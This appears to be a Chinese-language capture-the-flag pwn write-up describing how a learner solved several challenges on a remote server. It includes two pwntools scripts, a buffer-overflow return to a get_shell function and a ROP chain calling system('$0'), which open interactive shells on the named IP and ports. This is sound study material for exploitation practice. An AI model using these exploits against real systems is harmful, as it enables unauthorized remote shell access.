这道题没啥说的,
直接在linu下执行语句:nc 114.116.54.89 10001,
再 ls 命令展示当下目录,
然后 cat flag 读取目标文件,
一般来说是flag这个文件有flag,但是也不排除其它的地方有flag。
第一步先nc上去程序,然后观看程序的作用。
传文件进入linux,再然后file pwn2,checksec pwn2:
然后64位的ida打开程序,然后f12查看关键字,再f5反编译,找到system函数:
开始gdb ./pwn2 程序,运行完后,找到getshell函数的位置:
get_shell函数的地址为 0x400751,先cyclic 100 个随机的字符
然后根据溢出报的错,发现了字符串是48+8个=56个,到的ret
然后编写脚本:
from pwn import *
p = remote('114.116.54.89',10003)
length = 56
payload = 'a'*length + p64(0x400751)
p.sendline(payload)
p.interactive()
1.首先和上面的第一步一样,先运行程序,记录下程序的功能:
然后file文件,发现文件是64位的,然后再checksec 文件,查找保护壳,发现没有保护。直接64ida打开,f5之后发现了read函数,说明了有溢出的可能。然后f12进行字符串的查找,
经过一番查找和尝试,萌新表示还是不太懂,于是寻找大佬的博客,才知道:
$0的用途 (这里一脸懵逼),结合之前找到的system()命令,还有binsh。
就可以开始准备写脚本。
这里得到system的地址:0x000000000040075A
这里稍微计算一下$0的位置,得到
0x0000000000601100+31=0x000000000060111F
(31是前面字符串的长度)
后面大佬的博客就有点难懂了:利用ROPgadget工具进行查找,得到pop rdi ; ret 的地址。
rdi:0x00000000004007d3
由于缓冲区是0x10,rbp是8个,则加起来,然后开始写脚本:
from pwn import *
context.log_level = 'debug'
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3
bin_sh = 0x000000000060111f
system = 0x000000000040075A
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()